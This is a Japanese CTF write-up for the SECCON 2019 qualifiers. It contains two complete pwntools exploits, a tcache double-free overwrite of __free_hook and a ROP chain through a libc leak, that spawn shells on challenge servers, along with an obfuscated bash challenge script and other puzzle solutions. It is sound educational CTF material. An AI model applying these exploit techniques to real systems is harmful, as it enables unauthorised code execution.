superflipは12問、2396点、38位。日本チームの上位13位までが国内決勝大会進出だけど、何位だろうなぁ。Teamsだけではなく、Scoreboardにもチームの国名を出してほしい。
配点はおなじみになった解いたチーム数で点数が変動する形式。
pwn
one (264 pt, 68 solves)
こんなの。初っぱなからヒープか。
$ ./one
just one
MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
> 1
Input memo > hogehoge
Done.
MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
> 2
hogehoge
Done.
MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
> 3
Done.
MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
> 0
Bye!
- Addで確保されるサイズは0x40バイト固定
- ShowはDelete後でも読める(UAF)
- Deleteは何回でも呼べる(double free)
- libcは2.27。チェックの緩いtcacheが有効
- Full RELRO、Canary、NX、PIEは全部有効
tcacheのdouble freeを使えば、簡単に任意のアドレスに任意の値を書き込める。とはいえ、PIEも有効なので既知のアドレスが無くまずはアドレスをリークしないと始まらない。Double free後に値を読み出すと、今解放したmallocチャンクのアドレスが入っているので、ヒープのアドレスが分かる。
libcのアドレスが欲しい。そのためにはunsorted binにチャンクを入れる必要がある。サイズ0x50のチャンクはtcacheを埋めてもfastbinにしか入らない。tcacheのdouble freeでmalloc
に任意のアドレスを返させることができるので、サイズにあたる部分を書き換えたチャンクを返させれば良い。
ただし、unsorted binはtcacheと違ってチェックがあるので、後続のチャンクの状態を整えておかないといけない。tcacheに入れるチャンクもサイズだけは正しい値になっている必要があるから、いきなりunsorted binに入れるチャンクの後続の位置を返させることはできない。いや、できるけれど、そのチャンクをfree
したときにコケるので後が続かない。そこで、確保したチャンクの末尾にサイズを書いておいて少しずつ後ろにずらしていく。tcacheはdouble freeで埋められるので、fastbinに入らないサイズ(0x90以上)にすれば良い。
unsorted binのアドレスが得られれば、後は__free_hook
にsystem
のアドレスを書き込み、Add("/bin/sh"); Delete()
を実行するだけ。
from pwn import *
elf = ELF("one")
context.binary = elf
#context.log_level = "debug"
s = process("./one")
#s = remote("one.chal.seccon.jp", 18357)
def add(d):
s.sendlineafter("> ", "1")
s.sendlineafter("> ", d)
def show():
s.sendlineafter("> ", "2")
return s.recvline()[:-1]
def delete():
s.sendlineafter("> ", "3")
add("hoge") # tcache
delete()
delete()
delete()
tcache = unpack(show().ljust(8, "\0"))
print "tcache: %x"%tcache
add(pack(tcache+0x30)) # tcache
add( # tcache
pack(0)+pack(0xc1)+
pack(0)+pack(0)+
pack(0)+pack(0x51))
add("hoge") # tcache+0x30
delete()
delete()
delete()
for i in range(2, 5):
add(pack(tcache+0x30*i)) # tcache+0x30*i
add("a"*0x28+pack(0x51)) # tcache+0x30*i
add("hoge") # tcache+0x30*(i+1)
delete()
delete()
delete()
add(pack(tcache+0x10)) # tcache+0xc0
add( # tcache+0xc0
pack(0xc0)+pack(0x21)+
pack(0)+pack(0)+
pack(0)+pack(0x21))
add("hoge") # tcache+0x10
for i in range(8):
delete()
unsort = unpack(show().ljust(8, "\0"))
print "unsort: %x"%unsort
libc = ELF("libc-2.27.so")
libc.address = unsort - 0x3ebca0
add("hoge")
delete()
delete()
add(pack(libc.symbols.__free_hook))
add("hoge")
add(pack(libc.symbols.system))
add("/bin/sh")
delete()
s.interactive()
0x40バイトだと上手く動かなかったので、0x30バイトごとズラしている。送るときの改行をどうにかすれば良かったのかも。add
の横に書いているのは、そのときのmalloc
が返すアドレス。Double freeではなくtriple freeなのは、add
と数を合わせるため、tcacheからチャンクを出すときは個数をチェックしていないけれど、これで負のオーバーフローを起こすとtcacheにチャンクが入らなくなってしまう。
$ python attack.py
[*] '/mnt/d/documents/ctf/seccon2019qual/one/one'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './one': pid 13234
[+] Opening connection to one.chal.seccon.jp on port 18357: Done
tcache: 55ddb17b0270
unsort: 7f459460dca0
[*] '/mnt/d/documents/ctf/seccon2019qual/one/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ cat flag.txt
SECCON{4r3_y0u_u53d_70_7c4ch3?}
$
[*] Interrupted
[*] Closed connection to one.chal.seccon.jp port 18357
[*] Stopped process './one' (pid 13234)
追記
サイズを書き換えたりとかしてチマチマと進まなくても、普通にAddすれば良いだけだった。
SECCON Online 2019 QualsのWriteup - CTFするぞ
SECCON{4r3_y0u_u53d_70_7c4ch3?}
Sum (289 pt, 58 solves)
Estimated Difficulty: easy
らしい。まあ、たしかに気が付いてしまえば簡単ではあるものの……。
$ ./sum
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
1 2 3 4 0
10
最大5個の整数を読み込んで合計を計算するプログラム……のはずが6個読み込んでいる。6個目の位置には、合計を計算する関数が結果を書き込む変数のアドレスがある。ということで、任意のアドレスに値を書き込める。6個目の整数も合計の対象にはなるけれど、それは前の整数を良い感じすることで、任意の値を書き込める。
PIE
は無効だがどこに何のアドレスを書き込めば良いのだろう。Full RELRO
も無効なので、libcのアドレスが分かれば、GOTにone gadget RCEを書き込んで終了だけど……。本来は合計を表示してくれるけれど、合計を計算する関数が6個以上の整数を処理したら、エラーということなのかexit
を呼んで終了している。そもそも合計はこちらが想定した値を書き込むのでリークしたところで……。
とハマっていたところで、exit
を呼ぶときにちょうどこの整数がスタックの先頭にあることに気が付いた。ROPができる。printf(printf@GOT)
を呼んでlibcのアドレスをリークし、main
に戻って再度ROP。
from pwn import *
elf = ELF("sum")
context.binary = elf
#context.log_level = "debug"
#s = process("./sum")
s = remote("sum.chal.seccon.jp", 10001)
target = 0x00400a43 # pop; ret
v = [0]*6
v[0] = 0x00400a43 # pop rdi; ret
v[1] = 0x00601028 # printf@got
v[2] = 0x00400620 # printf@plt
v[3] = 0x00400904 # main+1
v[5] = 0x00601048 # exit@got
v[4] = target - sum(v)
print " ".join(map(str, v))
s.sendlineafter("2 3 4 0\n", " ".join(map(str, v)))
printf = s.recvuntil("[") # [sum system]
printf = unpack(printf[:-1].ljust(8, "\0"))
print "printf: %x"%printf
libc = ELF("libc.so")
libc.address = printf - libc.symbols.printf
target = 0x00400a43 # pop; ret
v = [0]*6
v[0] = 0x00400a43 # pop rdi; ret
v[1] = next(libc.search("/bin/sh"))
v[2] = libc.symbols.system
v[3] = 0x00000001
v[5] = 0x00601048 # exit@got
v[4] = target - sum(v)
print " ".join(map(str, v))
s.sendlineafter("2 3 4 0\n", " ".join(map(str, v)))
s.interactive()
main
ではなくmain+1
はスタックのずれによってmovaps
で落ちるから。
kusano@RIO:/mnt/d/documents/ctf/seccon2019qual/Sum$ python attack.py
[*] '/mnt/d/documents/ctf/seccon2019qual/Sum/sum'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to sum.chal.seccon.jp on port 10001: Done
4196931 6295592 4195872 4196612 -20983700 6295624
printf: 7f01cecb5e80
[*] '/mnt/d/documents/ctf/seccon2019qual/Sum/libc.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
4196931 139645742501530 139645741040704 1 -279291489837859 6295624
[*] Switching to interactive mode
$ cat flag.txt
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
reversing
follow-me (225 pt, 86 solves)
Intel Pinを使って、各jump命令でジャンプしたかどうかをダンプしたファイルから、入力を逆算しろという問題。答えは何通りもあるので、サーバーに送りつけて分岐が同じならフラグが返ってくる。
プログラムはこんな感じ。
$ ./calc
usage: ./calc formula
$ ./calc 123,
123
$ ./calc 123,456,+
579
$ ./calc 123,456,+456,-
123
$ ./calc 123,456,*
56088
$ ./calc 123,456,m
123
$ ./calc 123,456,M
456
$ ./calc 2,4,C
error: n < k
$ ./calc 4,2,C
6
$
逆ポーランド記法の数式を計算するプログラム。数字の終端は,
、m
はmin、M
はmax、(使われていないけど)C
はcombination。
問題ファイルは600行くらいあって、どこで間違えているか分からないとつらいので、手元でもPINを動かした。コンパイルの仕方が分からん。似たようなものだろうと、pin-3.11-97998-g7ecce2dac-gcc-linux/source/tools/SimpleExamples/calltrace.cppを上書きしてmake
。
$ ~/pin-3.11-97998-g7ecce2dac-gcc-linux/pin -t branchtrace.so -- ./calc 111,
で動く。
あとは出力と逆アセンブル結果を見比べながら合わせていく。まずは入力の終端判定をしている部分で区切る。数値や各種命令の何が入力されたかは各ループの最初の方の分岐、数値は桁数が合っていれば良い。+
がいやらしくて、下一桁だけループして1ずつ足しているので、下一桁を調整。あと、*
は+
で実装されているのでここも調節。
111,111,111,111,111,1111,111,mm-mM-112,112,112,mm-118,111,111,113,110,-+-M+111,111,001,mm*
で通る。
$ curl -q -H 'Content-Type:application/json' -d "{\"input\": \"111,111,111,111,111,1111,111,mm-mM-112,112,112,mm-118,111,111,113,110,-+-M+111,111,001,mm*\"}" http://follow-me.chal.seccon.jp/submit/quals/0
{"error":false,"flag":"SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}","message":"Thanks! I'll give you a flag as a thank you."}
SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}
misc
Welcome (50 pt, 721 solves)
IRCのトピックと問題文に書いてあるので、その通りに。
SECCON{Welcome to the SECCON 2019 Online CTF}
Thank you for playing! (50 pt, 556 solves)
これで点数が入るの、出てくるのが終了1時間前とかだとつらいが、12時間前くらいだったので良かった。
SECCON{We have done all the challenges. Thank you!}
Beeeeeeeeeer (110 pt, 182 solves)
難読シェルスクリプト。
色々試行錯誤していたら解けてしまって、ちゃんと解析はしていない。Base64部分は取り出して復号するとまたスクリプトが出てくる。「ビープ音が何回なった?」と聞いてくるところがあって、ここは3回のときにループが抜けて、この3回というのが後で使われていた。最後の方に出てくる
__=$(. 2>&1);__=${__##*.};__=$(. 2>&1);__=${__##*.};${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[$$/$$])):$((___=___^___||++___))}${__:$[$[$$/$$]<<$[$$/$$]<<$[$$/$$]]:$((___=___^___||++___))}${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]])):$((___=___^___||++___))} -- {z..A};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}";${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} _____</${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}/${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))};: ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} $(${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} $_____|${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))} -${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}" " -${@:$((____=(____^____||++____)+(____^____||++____)))$((____=____^____||++____)):$((____=____^____||++____))}$((____=____^____||++____)))|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))} "${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=____^____||++____))-$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=____^____||++____))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))"&&${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}!"&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';
は、
難読化シェル芸の世界 Bashとすてきな難読化②|Tech Book Zone Manatee
set -x
すると実行しているコマンドが出てくる。
++ .
+ __='-bash: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
++ .
+ __='-bash: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
+ set -- z y x w v u t s r q p o n m l k j i h g f e d c b a '`' _ '^' ']' '' '[' Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
+ echo 'Enter the password'
Enter the password
+ read _____
bash
+ : password is bash
+ grep -q d574d4bb40c84861791a694a999cce69
++ echo -n bash
++ md5sum
++ cut '-d ' -f1
+ echo d574d4bb40c84861791a694a999cce69
+ echo 'Good Job!'
Good Job!
+ printf '\n\033[?7l%1024s' ' '
: password is bash
とかある。
この辺を試していたら、SECCON{hogefuga3bash}
というのが出てきて、これで通った。3
はビープ音の回数で、hogefuga
はどこで設定されるのだろう。
SECCON{hogefuga3bash}
Sandstorm (279 pt, 62 solves)
こんな画像。
インターレースPNG。ということで0x4e0バイトくらいに切り詰めるとQRコードが出てくる。画像ビューアでは小さな点があるだけで見づらかったけど、ブラウザは対応していた。きっちり解くなら、8x8のブロックごとに左上の画素を抽出。Adam7。
Tanuki (439 pt, 14 solves)
解けなかった。
Samples
Ciphertext 1: たたせくたこたたたんた
Plaintext 1: せくこん
Ciphertext 2: たSたEたたたたたCCたたたたたOたNたたた
Plaintext 2: SECCON
Oh, it's too difficult for you to decrypt? So then... TRY HARDER!
tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz
